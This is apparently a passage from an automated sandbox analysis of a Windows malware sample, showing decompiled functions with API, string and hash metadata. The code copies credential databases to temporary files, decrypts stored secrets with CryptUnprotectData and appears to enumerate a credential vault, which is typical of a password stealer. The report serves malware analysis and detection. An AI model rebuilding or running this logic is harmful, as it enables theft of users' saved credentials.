									_push(_v376);
									_push(E0040F2F0);
									E00403D88( &_v380, _v64);
									_push(_v380);
									_push(E0040F2F0);
									E00403D88( &_v384, _v68);
									_push(_v384);
									_push(E0040F2F0);
									E00403D88( &_v388, _v72);
									_push(_v388);
									_push(E0040F2F8);
									E00403E78();
									E00405194(_v48, _t305, _t362, _t363);
								}
							}
						}
						L22:
						_t191 =  *0x41b46c; // 0x41ca38
						 *((intOrPtr*)( *_t191))(_v20);
						_t195 =  *0x41b20c; // 0x41ca24
						 *((intOrPtr*)( *_t195))(_v16);
					}
					_pop(_t331);
					 *[fs:eax] = _t331;
					E00403C18(_v12, _v32);
					DeleteFileW(E00403D98(_v80)); // executed
				} else {
					_pop(_t361);
					 *[fs:eax] = _t361;
				}
				_pop(_t333);
				 *[fs:eax] = _t333;
				_push(E0040F27D);
				E00403BF4( &_v388, 7);
				E00403BDC( &_v104);
				E004034E4( &_v100);
				E00403BF4( &_v96, 6);
				E00403508( &_v72, 7);
				E004034E4( &_v44);
				E00403BDC( &_v40);
				E004034E4( &_v36);
				E00403BDC( &_v32);
				E004034E4( &_v28);
				return E00403BDC( &_v8);
			}

0x0040eda8
0x0040eda8
0x0040eda8
0x0040eda9
0x0040edab
0x0040edb0
0x0040edb0
0x0040edb2
0x0040edb4
0x0040edb4
0x0040edb4
0x0040edba
0x0040edbd
0x0040edc3
0x0040edd3
0x0040edd9
0x0040ede9
0x0040edec
0x0040edf8
0x0040edfd
0x0040ee03
0x0040ee08
0x0040ee0b
0x0040ee18
0x0040ee23
0x0040ee30
0x0040ee35
0x0040ee38
0x0040ee3d
0x0040ee48
0x0040ee53
0x0040ee5d
0x0040ee73
0x0040ee7b
0x0040ee86
0x0040ee91
0x0040ee99
0x0040eea0
0x0040eebc
0x0040eec3
0x0040eec5
0x0040eec8
0x0040eeca
0x0040eeda
0x0040eeeb
0x0040eef2
0x0040eef4
0x0040eef7
0x0040eef9
0x0040ef05
0x0040ef16
0x0040ef1d
0x0040ef1f
0x0040ef1f
0x0040ef22
0x0040ef24
0x0040f19a
0x0040f19e
0x0040f1a5
0x0040f1a8
0x0040f1ab
0x00000000
0x00000000
0x0040ef32
0x0040ef3a
0x0040ef45
0x0040ef58
0x0040ef5f
0x0040ef67
0x0040ef68
0x0040ef73
0x0040ef7a
0x0040ef7c
0x0040ef84
0x0040ef8c
0x0040ef91
0x0040ef96
0x0040ef9b
0x0040ef9d
0x0040efa5
0x0040efa5
0x0040efad
0x0040efb2
0x0040efb4
0x0040efc0
0x0040efc7
0x0040efc9
0x0040efd1
0x0040efde
0x0040efe6
0x0040efeb
0x0040efed
0x0040eff2
0x0040eff5
0x0040efff
0x0040efff
0x0040eff5
0x0040f00a
0x0040f01b
0x0040f026
0x0040f02d
0x0040f02f
0x0040f03a
0x0040f04e
0x0040f04f
0x0040f054
0x0040f06d
0x0040f056
0x0040f05e
0x0040f05e
0x0040f078
0x0040f089
0x0040f094
0x0040f09b
0x0040f09d
0x0040f0a5
0x0040f0b0
0x0040f0bd
0x0040f0c2
0x0040f0c4
0x0040f0ce
0x0040f0ce
0x0040f0d3
0x0040f0df
0x0040f0e4
0x0040f0ea
0x0040f0f8
0x0040f0fd
0x0040f103
0x0040f111
0x0040f116
0x0040f11c
0x0040f12a
0x0040f12f
0x0040f135
0x0040f143
0x0040f148
0x0040f14e
0x0040f15c
0x0040f161
0x0040f167
0x0040f175
0x0040f17a
0x0040f180
0x0040f18d
0x0040f195
0x0040f195
0x0040efb4
0x0040f19a
0x0040f1b1
0x0040f1b5
0x0040f1bc
0x0040f1c3
0x0040f1ca
0x0040f1cc
0x0040f1cf
0x0040f1d2
0x0040f1e7
0x0040f1fc
0x0040eea2
0x0040eea4
0x0040eea7
0x0040eea7
0x0040f200
0x0040f203
0x0040f206
0x0040f216
0x0040f21e
0x0040f226
0x0040f233
0x0040f240
0x0040f248
0x0040f250
0x0040f258
0x0040f260
0x0040f268
0x0040f275

APIs

CopyFileW.KERNEL32(00000000,00000000,000000FF,0041985E,0040F2AC,?,.tmp,?,?,?,00000000,0040F276,?,00000000,?,00000000), ref: 0040EE73
DeleteFileW.KERNEL32(00000000), ref: 0040F1FC

Part of subcall function 0040A610: CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000001,?), ref: 0040A631
Part of subcall function 0040A610: LocalFree.KERNEL32(?), ref: 0040A656

Strings

%TEMP%, xrefs: 0040EE2B
.tmp, xrefs: 0040EE0B
FALSE, xrefs: 0040EFD9, 0040F059
TRUE, xrefs: 0040EFFA, 0040F068

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CopyCryptDataDeleteFreeLocalUnprotect
String ID: %TEMP%$.tmp$FALSE$TRUE
API String ID: 691380987-1436660622
Opcode ID: a44db55439abf4444a6e973dc978ab4a4fc13b63b99df453295c65670ef72646
Instruction ID: 9dcaa7c871c06a4d7ee4199f6a0ac2de530738ae04ad212c69763d189181e7d7
Opcode Fuzzy Hash: a44db55439abf4444a6e973dc978ab4a4fc13b63b99df453295c65670ef72646
Instruction Fuzzy Hash: 0DE1EB35A00109AFCB10EB95DC81ADEB7B9EF49305F50817AF414F76A1DB39AE098B58

Uniqueness

Uniqueness Score: -1.00%

Function 004112D0, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 234
fileCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E004112D0(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				WCHAR* _t83;
				void* _t94;
				intOrPtr* _t98;
				intOrPtr _t100;
				intOrPtr* _t102;
				intOrPtr* _t106;
				intOrPtr* _t134;
				intOrPtr* _t138;
				intOrPtr _t140;
				intOrPtr* _t142;
				void* _t144;
				intOrPtr* _t146;
				intOrPtr* _t150;
				void* _t152;
				intOrPtr* _t157;
				intOrPtr* _t163;
				intOrPtr* _t169;
				void* _t171;
				intOrPtr* _t175;
				void* _t178;
				intOrPtr _t199;
				intOrPtr _t201;
				void* _t206;
				intOrPtr _t212;
				intOrPtr _t216;
				intOrPtr _t217;
				void* _t218;
				void* _t219;

				_t214 = __esi;
				_t177 = __ebx;
				_t216 = _t217;
				_t178 = 0xa;
				do {
					_push(0);
					_push(0);
					_t178 = _t178 - 1;
					_t224 = _t178;
				} while (_t178 != 0);
				_push(_t178);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t216);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t217;
				E00403BDC( &_v28);
				_push(_t216);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t217;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t224);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t224);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t177,  &_v40, _t224);
				E004062FC(L"%TEMP%",  &_v64, _t224);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t177,  &_v44, _t224);
				_t83 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t83, 0xffffffff); // executed
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t177, _t178,  &_v36, _t214, _t224);
				E00403D88( &_v72, _v36);
				_t94 = E0040776C(_v72, _t177, _t178); // executed
				if(_t94 != 0) {
					_t98 =  *0x41b140; // 0x41ca20
					_t100 =  *((intOrPtr*)( *_t98))(E00403990(_v36),  &_v16); // executed
					_t218 = _t217 + 8;
					__eflags = _t100;
					if(_t100 == 0) {
						_t134 =  *0x41b390; // 0x41c934
						_t138 =  *0x41b2d4; // 0x41ca28
						_t140 =  *((intOrPtr*)( *_t138))(_v16, E00403990( *_t134), 0xffffffff,  &_v20,  &_v24); // executed
						_t219 = _t218 + 0x14;
						__eflags = _t140;
						if(_t140 == 0) {
							while(1) {
								_t142 =  *0x41b384; // 0x41ca2c
								_t144 =  *((intOrPtr*)( *_t142))(_v20);
								__eflags = _t144 - 0x64;
								if(_t144 != 0x64) {
									goto L9;
								}
								_t146 =  *0x41b414; // 0x41ca34
								_t150 =  *0x41b1dc; // 0x41ca30
								_t152 =  *((intOrPtr*)( *_t150))(_v20, 3,  *((intOrPtr*)( *_t146))(_v20, 3));
								_pop(_t206);
								E0040A610(_t152,  &_v48, _t206);
								E00403D88( &_v76, _v48);
								_t157 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t157))(_v20, 0, 0x4115ec, _v76, _v28));
								_t163 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t163))(_v20, 1, 0x4115ec, _v80));
								_t169 =  *0x41b1dc; // 0x41ca30
								_t171 =  *((intOrPtr*)( *_t169))(_v20, 2, 0x4115f8, _v84);
								_t219 = _t219 + 0x28;
								E00403CF4( &_v88, _t171);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t175 =  *0x41b1cc; // 0x41b0b4
								 *_t175 =  *_t175 + 1;
								__eflags =  *_t175;
							}
						}
					}
					L9:
					_t102 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t102))(_v20);
					_t106 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t106))(_v16);
					_pop(_t199);
					 *[fs:eax] = _t199;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44)); // executed
				} else {
					_pop(_t212);
					 *[fs:eax] = _t212;
				}
				_pop(_t201);
				 *[fs:eax] = _t201;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112d0
0x004112d0
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113ba
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

GetTickCount.KERNEL32 ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391
DeleteFileW.KERNEL32(00000000), ref: 00411544

Strings

%TEMP%, xrefs: 00411350
.tmp, xrefs: 00411330
, xrefs: 004114D0

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp
API String ID: 2381671008-2792595090
Opcode ID: f60cc6c611b5a3bf7d101cc01f95fb55086b384505b8eefec133a17dad3332eb
Instruction ID: 2907a0a36d16f86ef06436b94052184e29eddf1806116983537aed2fe47c33e4
Opcode Fuzzy Hash: f60cc6c611b5a3bf7d101cc01f95fb55086b384505b8eefec133a17dad3332eb
Instruction Fuzzy Hash: 8C81F871A00109AFDB00EF95DC82EDEBBB9EF49305F508436F514F72A1DB38AA458B59

Uniqueness

Uniqueness Score: -1.00%

Function 00415CA0, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00415CA0(void* __eax, void* __ebx, void* __esi, void* __eflags) {
				struct _MEMORYSTATUSEX _v68;
				char _v72;
				_Unknown_base(*)()* _t13;
				intOrPtr _t35;
				void* _t37;
				void* _t40;
				void* _t42;

				_t42 = __eflags;
				_v72 = 0;
				_t37 = __eax;
				_push(_t40);
				_push(0x415d2a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t40 + 0xffffffbc;
				_t13 = GetProcAddress(LoadLibraryA("kernel32.dll"), "GlobalMemoryStatusEx");
				E004028E0( &_v68, 0x40);
				_v68.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v68); // executed
				E0040709C(E004045CC(_v68.ullTotalPhys, _v68.ullAvailPhys, 0x100000, 0), _t13,  &_v72, _t37, _t42);
				E0040377C(_t37, _v72);
				_pop(_t35);
				 *[fs:eax] = _t35;
				_push(E00415D31);
				return E00403BDC( &_v72);
			}

0x00415ca0
0x00415caa
0x00415cad
0x00415cb1
0x00415cb2
0x00415cb7
0x00415cba
0x00415ccd
0x00415cde
0x00415ce3
0x00415cee
0x00415d05
0x00415d0f
0x00415d16
0x00415d19
0x00415d1c
0x00415d29

APIs

LoadLibraryA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx,00000000,00415D2A,?,?,?), ref: 00415CC7
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00415CCD
GlobalMemoryStatusEx.KERNEL32(00000040,00000000,kernel32.dll,GlobalMemoryStatusEx,00000000,00415D2A,?,?,?), ref: 00415CEE

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Strings

@, xrefs: 00415CE3
kernel32.dll, xrefs: 00415CC2
GlobalMemoryStatusEx, xrefs: 00415CBD

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressFreeGlobalLibraryLoadMemoryProcStatusString
String ID: @$GlobalMemoryStatusEx$kernel32.dll
API String ID: 420089832-3878206809
Opcode ID: dfd76011b68a478504803e431a6d3c7223a90459b36f1eabcd883ed82e5d00e0
Instruction ID: 391148e63b22df71c2771543718f35c183a5c4b34bdda626484a7ccee0bd3fce
Opcode Fuzzy Hash: dfd76011b68a478504803e431a6d3c7223a90459b36f1eabcd883ed82e5d00e0
Instruction Fuzzy Hash: 55017571A006089BD711EBA1DD46BDE77B9EB88704F51453AF500B32D1E67C6D018659

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEBC, Relevance: 9.2, APIs: 6, Instructions: 183
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040BEBC(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				_Unknown_base(*)()* _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v52;
				char _v68;
				char _v72;
				char _v76;
				intOrPtr* _t61;
				CHAR* _t63;
				intOrPtr* _t64;
				intOrPtr* _t81;
				struct HINSTANCE__* _t84;
				intOrPtr* _t92;
				_Unknown_base(*)()* _t95;
				intOrPtr* _t96;
				intOrPtr* _t100;
				void* _t107;
				intOrPtr* _t137;
				struct HINSTANCE__* _t138;
				signed int _t139;
				intOrPtr* _t145;
				intOrPtr* _t147;
				intOrPtr _t149;
				intOrPtr _t152;
				intOrPtr _t153;
				intOrPtr* _t163;
				intOrPtr* _t166;
				void* _t168;
				void* _t169;
				signed int _t174;
				void* _t175;
				void* _t177;

				_v76 = 0;
				_v72 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				 *[fs:eax] = _t177 + 0xffffffb8;
				_t61 =  *0x41b40c; // 0x41c9f4
				_t63 = E00403990( *_t61);
				_t64 =  *0x41b460; // 0x41c9f0
				_t137 = GetProcAddress(LoadLibraryA(E00403990( *_t64)), _t63);
				_t145 =  *0x41b41c; // 0x41c9f8
				E00403D88( &_v72,  *_t145);
				 *_t137(E00403D98(_v72),  &_v52,  *[fs:eax], 0x40c0de, _t177, __edi, __esi, __ebx, _t175);
				_t147 =  *0x41b430; // 0x41c9fc
				E00403D88( &_v76,  *_t147);
				 *_t137(E00403D98(_v76),  &_v68);
				_t81 =  *0x41b3a8; // 0x41ca00
				_t84 = LoadLibraryA(E00403990( *_t81)); // executed
				_t138 = _t84;
				if(_t138 != 0) {
					_t92 =  *0x41b370; // 0x41ca04
					_t95 = GetProcAddress(_t138, E00403990( *_t92));
					_t96 =  *0x41b1a8; // 0x41ca08
					_t166 = GetProcAddress(_t138, E00403990( *_t96));
					_t100 =  *0x41b360; // 0x41ca0c
					_v8 = GetProcAddress(_t138, E00403990( *_t100));
					_v12 = 0;
					_t107 =  *_t95( &_v52, 0,  &_v16); // executed
					if(_t107 == 0) {
						_push( &_v20);
						_push( &_v12);
						_push(0x200);
						_push(_v16);
						if( *_t166() == 0) {
							_t168 = _v12 - 1;
							if(_t168 >= 0) {
								_t169 = _t168 + 1;
								_t139 = 0;
								do {
									_t153 =  *0x40be90; // 0x40be94
									E00404810( &_v24, _t153);
									_push( &_v24);
									_push(0);
									_push(0);
									_push(0);
									_t174 = (_t139 << 3) - _t139;
									_push( *((intOrPtr*)(_v20 + 0x18 + _t174 * 8)));
									_push( *((intOrPtr*)(_v20 + 0x14 + _t174 * 8)));
									_push( &_v68);
									_push(_v16);
									if(_v8() == 0) {
										E0040370C( &_v28,  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x14 + _t174 * 8)) + 0x10)));
										E0040370C( &_v32,  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x18 + _t174 * 8)) + 0x10)));
										E0040370C( &_v36,  *((intOrPtr*)( *((intOrPtr*)(_v24 + 0x1c)) + 0x10)));
										if(E00403790(_v28) != 0 && E00403790(_v36) != 0) {
											_t163 =  *0x41b1c0; // 0x41ca10
											E0040525C(0x40c100, _t139, _v28,  *_t163, _t169, _t174, 0x40c0f4, _v36, _v32);
										}
									}
									_t139 = _t139 + 1;
									_t169 = _t169 - 1;
								} while (_t169 != 0);
							}
						}
					}
				}
				_pop(_t149);
				 *[fs:eax] = _t149;
				_push(E0040C0E5);
				E00403BF4( &_v76, 2);
				E00403508( &_v36, 3);
				_t152 =  *0x40be90; // 0x40be94
				return E00404280( &_v24, 2, _t152);
			}

0x0040bec7
0x0040beca
0x0040becd
0x0040bed0
0x0040bed3
0x0040bed6
0x0040bed9
0x0040bee7
0x0040beea
0x0040bef1
0x0040bef7
0x0040bf0f
0x0040bf18
0x0040bf20
0x0040bf2e
0x0040bf37
0x0040bf3f
0x0040bf4d
0x0040bf4f
0x0040bf5c
0x0040bf61
0x0040bf65
0x0040bf6b
0x0040bf79
0x0040bf80
0x0040bf93
0x0040bf95
0x0040bfa8
0x0040bfad
0x0040bfba
0x0040bfbe
0x0040bfc7
0x0040bfcb
0x0040bfcc
0x0040bfd4
0x0040bfd9
0x0040bfe2
0x0040bfe5
0x0040bfeb
0x0040bfec
0x0040bfee
0x0040bff1
0x0040bff7
0x0040bfff
0x0040c000
0x0040c002
0x0040c004
0x0040c00b
0x0040c014
0x0040c01c
0x0040c020
0x0040c024
0x0040c02a
0x0040c039
0x0040c04b
0x0040c05c
0x0040c06b
0x0040c086
0x0040c096
0x0040c096
0x0040c06b
0x0040c09b
0x0040c09c
0x0040c09c
0x0040bfee
0x0040bfe5
0x0040bfd9
0x0040bfbe
0x0040c0a5
0x0040c0a8
0x0040c0ab
0x0040c0b8
0x0040c0c5
0x0040c0cd
0x0040c0dd

APIs

LoadLibraryA.KERNEL32(00000000,00000000,00000000,0040C0DE,?,00000000,?,00000000), ref: 0040BF04
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040BF0A
LoadLibraryA.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040BF5C
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040BF79
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040BF8E
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040BFA3

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 62a86ab8671f018b28df7223097144b4c620e1b08c7221a2106d2451f7679443
Instruction ID: 0e090bdfc3d65a5bca4157f74653ebb500d09f599f80782c5ae309756f7fedfb
Opcode Fuzzy Hash: 62a86ab8671f018b28df7223097144b4c620e1b08c7221a2106d2451f7679443
Instruction Fuzzy Hash: A661A9B5A00209DFDB00EFA5C881A9EB7BDFF49304B50457AE914F7391D638ED458BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00411034, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191
fileCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00411034(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				WCHAR* _t72;
				void* _t83;
				intOrPtr* _t87;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr* _t95;
				intOrPtr* _t119;
				intOrPtr* _t123;
				void* _t125;
				intOrPtr* _t127;
				void* _t129;
				intOrPtr* _t131;
				intOrPtr* _t137;
				void* _t139;
				void* _t145;
				intOrPtr _t165;
				intOrPtr _t167;
				intOrPtr _t174;
				intOrPtr _t178;
				intOrPtr _t179;
				void* _t180;
				void* _t181;

				_t176 = __esi;
				_t144 = __ebx;
				_t178 = _t179;
				_t145 = 9;
				do {
					_push(0);
					_push(0);
					_t145 = _t145 - 1;
					_t183 = _t145;
				} while (_t145 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t178);
				_push(0x411282);
				_push( *[fs:eax]);
				 *[fs:eax] = _t179;
				E00403BDC( &_v28);
				_push(_t178);
				_push(0x411212);
				_push( *[fs:eax]);
				 *[fs:eax] = _t179;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t183);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t183);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t144,  &_v40, _t183);
				E004062FC(L"%TEMP%",  &_v60, _t183);
				_push(_v60);
				_push(E004112B8);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t144,  &_v44, _t183);
				_t72 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t72, 0xffffffff); // executed
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t144, _t145,  &_v36, _t176, _t183);
				E00403D88( &_v68, _v36);
				_t83 = E0040776C(_v68, _t144, _t145); // executed
				if(_t83 != 0) {
					_t87 =  *0x41b140; // 0x41ca20
					_t89 =  *((intOrPtr*)( *_t87))(E00403990(_v36),  &_v16); // executed
					_t180 = _t179 + 8;
					__eflags = _t89;
					if(_t89 == 0) {
						_t119 =  *0x41b330; // 0x41c930
						_t123 =  *0x41b2d4; // 0x41ca28
						_t125 =  *((intOrPtr*)( *_t123))(_v16, E00403990( *_t119), 0xffffffff,  &_v20,  &_v24); // executed
						_t181 = _t180 + 0x14;
						__eflags = _t125;
						if(_t125 == 0) {
							while(1) {
								_t127 =  *0x41b384; // 0x41ca2c
								_t129 =  *((intOrPtr*)( *_t127))(_v20);
								__eflags = _t129 - 0x64;
								if(_t129 != 0x64) {
									goto L9;
								}
								_t131 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v72,  *((intOrPtr*)( *_t131))(_v20, 0, _v28));
								_t137 =  *0x41b1dc; // 0x41ca30
								_t139 =  *((intOrPtr*)( *_t137))(_v20, 1, E004112C0, _v72);
								_t181 = _t181 + 0x10;
								E00403CF4( &_v76, _t139);
								_push(_v76);
								_push(E004112C8);
								E00403E78();
							}
						}
					}
					L9:
					_t91 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t91))(_v20);
					_t95 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t95))(_v16);
					_pop(_t165);
					 *[fs:eax] = _t165;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44)); // executed
				} else {
					_pop(_t174);
					 *[fs:eax] = _t174;
				}
				_pop(_t167);
				 *[fs:eax] = _t167;
				_push(E00411289);
				E00403BF4( &_v76, 3);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x00411034
0x00411034
0x00411035
0x00411037
0x0041103c
0x0041103c
0x0041103e
0x00411040
0x00411040
0x00411040
0x00411043
0x00411044
0x00411045
0x00411046
0x00411049
0x0041104f
0x00411056
0x00411057
0x0041105c
0x0041105f
0x00411065
0x0041106c
0x0041106d
0x00411072
0x00411075
0x00411080
0x00411085
0x0041108b
0x00411090
0x00411093
0x004110a0
0x004110ab
0x004110b8
0x004110bd
0x004110c0
0x004110c5
0x004110d0
0x004110db
0x004110e5
0x004110f4
0x004110ff
0x0041110a
0x00411115
0x0041111d
0x00411124
0x00411140
0x00411147
0x00411149
0x0041114c
0x0041114e
0x0041115e
0x0041116f
0x00411176
0x00411178
0x0041117b
0x0041117d
0x004111d9
0x004111dd
0x004111e4
0x004111e7
0x004111ea
0x00000000
0x00000000
0x0041118a
0x0041119b
0x004111ae
0x004111b5
0x004111b7
0x004111bf
0x004111c4
0x004111c7
0x004111d4
0x004111d4
0x004111d9
0x0041117d
0x004111ec
0x004111f0
0x004111f7
0x004111fe
0x00411205
0x0041120a
0x0041120d
0x00411222
0x00411230
0x00411126
0x00411128
0x0041112b
0x0041112b
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

GetTickCount.KERNEL32 ref: 00411078
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004112B8,?,.tmp,?,?,00000000,00411212,?,00000000,00411282,?,00000000), ref: 004110F4
DeleteFileW.KERNEL32(00000000), ref: 00411230

Strings

%TEMP%, xrefs: 004110B3
.tmp, xrefs: 00411093

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: %TEMP%$.tmp
API String ID: 2381671008-3650661790
Opcode ID: 5e4c1f0c759616fb639dabe773cfd6bd7475a3a6795e656c6e34c0860fbe99e2
Instruction ID: b158b585ad64a0e2cffbc60e29a794732e4ff4356334f001507f487ecad874f7
Opcode Fuzzy Hash: 5e4c1f0c759616fb639dabe773cfd6bd7475a3a6795e656c6e34c0860fbe99e2
Instruction Fuzzy Hash: E4611975A00109AFDB00EB95DC82ADEBBF8EF49314F504076F514F32A1DA38AE458B58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6F0, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 221
fileCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040A6F0(char __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				intOrPtr _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr* _t77;
				WCHAR* _t92;
				void* _t105;
				intOrPtr* _t124;
				void* _t126;
				intOrPtr* _t128;
				intOrPtr* _t132;
				intOrPtr* _t144;
				intOrPtr* _t148;
				void* _t150;
				intOrPtr* _t152;
				intOrPtr* _t156;
